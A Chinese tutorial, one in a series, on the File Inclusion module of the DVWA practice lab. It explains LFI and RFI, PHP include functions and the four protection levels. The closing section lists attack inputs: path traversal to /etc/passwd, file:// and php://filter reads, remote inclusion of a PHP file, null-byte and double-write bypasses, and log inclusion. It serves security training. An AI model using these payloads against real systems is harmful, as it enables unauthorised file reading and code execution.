DVWA使用教程(File Inclusion)(四)
DVWA是一个用来练习Web渗透的PHP应用。共有十个模块,分别是
1.Brute Force(爆破)
2.Command Injection(命令注入)
3.CSRF(跨站请求伪造)
4.File Inclusion(文件包含)
5.File Uplod(文件上传)
6.Insecure CAPTCHA(不安全的验证码)
7.SQL Inj(SQL注入)
8.SQL B Inj(SQL盲注)
9.XSS-ref(反射型xss)
10.xss-stored(存储型xss)
一、 简介
文件包含漏洞是一种常见的漏洞。利用这个漏洞去包含危险文件,危险文件中有危险函数。
如此一来会造成信息泄露和恶意代码执行。
二、 功能特点
文件包含功能使用include函数将web根目录以外的目录文件包含进来,文件包含功能给开发人员带来了便利。通过把常用的功能归类成文件,文件包含可以提高代码重用率。
文件包含漏洞是高危漏洞,往往会导致任意文件读取和任意命令执行,造成严重的安全后果。
文件包含往往要使用到目录遍历工具
三、 各防护等级简介
low等级,对文件包含行为毫无设防。
medium等级,对文件包含行为防护不足,防护做法欠考虑。
hight等级,对文件包含行为有一定防护,但有疏忽。
impossible等级,对文件包含行为正确防护。
四、基础知识补充
1.文件包含分类:
LFI:本地文件包含(Local File Inclusion)
RFI:远程文件包含(Remote File Inclusion)
2.相关的 php.ini 配置参数:
allow_url_fopen = on (默认开启)
allow_url_include = on (默认关闭)
3.远程文件包含是因为开启了 php 配置中的 allow_url_fopen 选项(选项开启之后,服务器允许包含一个远程的文件)。
4.与文件包含有关的函数:
include():只有代码执行到该函数时才会包含文件进来,发生错误时只给出一个警告并继续向下执行。
include_once():和 include()功能相同,区别在于当重复调用同一文件时,程序只调用一次。
require():只要程序执行就包含文件进来,发生错误时会输出错误结果并终止运行。
require_once():和 require()功能相同,区别在于当重复调用同一文件时,程序只调用一次。
5.服务器包含文件时,不管文件后缀是否是php,都会尝试当做php文件执行。
五、low代码模块剖析
概述:low等级,对文件包含行为毫无设防。
根据代码可以得知:
1.URL参数输入,没有经过任何的过滤和检查,原封不动进行文件包含,并将结果返回。
2.如果是php文件将导致任意命令执行,如果不是php文件将导致任意文件读取。
执行结果:
A. 本地文件包含:
六、medium代码模块剖析
概述:medium等级,对命令注入行为防护不足,防护做法欠考虑。
根据代码可以得知
1.URL参数输入,存在简单的过滤和检查。
2.用户输入部分使用str_replace()函数过滤,过滤(http://,https://,../,..\)
3.可以使用双写绕过防护措施,并且过滤非法字符是一种黑名单策略,这种策略不安全。
4.过滤措施对使用绝对路径方式进行文件包含无效。
执行结果:
A.本地文件包含:
七、High代码模块剖析
概述:hight等级,对命令注入行为有一定防护,但有疏忽。
根据代码可以得知
1.URL参数输入,存在较严格的过滤和检查。
2.用户输入部分使用fnmatch()函数过滤,规定包含的文件名仅可以file开头。
3.可以使用file协议,绕过防护措施,并且过滤是一种黑名单策略,这种策略不安全。
4.过滤措施造成远程文件包含无法进行,但仍存在本地文件包含的风险。
执行结果:
A.本地文件包含:
B.远程文件包含:无法绕过,已失效。可考虑在上传漏洞方向突破。
八、Impossible代码模块剖析
概述:impossible等级,对命令注入行为正确防护。
根据代码可以得知
1.URL参数输入,存在白名单过滤。
2.参数内容为“include.php”、“file1.php”、“file2.php”、“file3.php”之一。
3.白名单策略,彻底杜绝了文件包含漏洞。
执行结果:
A.本地文件包含:无法绕过,已失效。
B.远程文件包含:无法绕过,已失效。
突破:可考虑在上传漏洞方向突破,设法把真正包含的文件掉包,换成恶意文件。
九、小结
进行文件包含漏洞黑盒测试的经典方法比较多,最常见的有,通过多个../可以让目录回到根目录中然后再进入目标目录。
常见的还有以下包含方法。
1、【?file=../../../../../etc/passwdd】
2、【?page=file:///etc/passwd】
3、【?home=main.cgi】
4、【?page=http://www.a.com/1.php】
5、【http://1.1.1.1/../../../../dir/file.txt】
6、【?page=file:///C:/123.txt】
编码绕过字符过滤
1、【可以使用多种编码方式进行绕过】把字符换成url编码进行尝试
2、【使用大小写进行尝试】
3、【%00嵌入任意位置】
在php版本小于5.3.4的服务器中,当magic_quote_gpc选项为off时,我们可以在文件名中使用%00进行截断,也就是说文件名中%00后的内容不会被识别,即下面两个url是完全等效的。
http://x.com/?page=../../../dvwa/php.ini.php
http://x.com/?page=../../../dvwa/php.ini%002.php
4、【.的利用】点代表当前目录,点点代表上一层目录。
5、【对于a-zA-Z这样的字符,浏览器在发送请求前会做解码;而对于URL不支持的字符,比如%20,浏览器不做解码的,%20解码发生在服务器上(apache/nginx)】
常见的包含位置
(1)php://input然后post提交显示当前所在目录。
(1)访问敏感文件phpinfo。
(2)包含日志文件,access.log(Apache日志文件)。
白盒测试时,先检查allow_url_fopen、allow_url_include等危险函数是否开启。
(3)利用php伪协议读源码。【http://x.com/?page=php://filter/read=string.rot13/resource=include.php】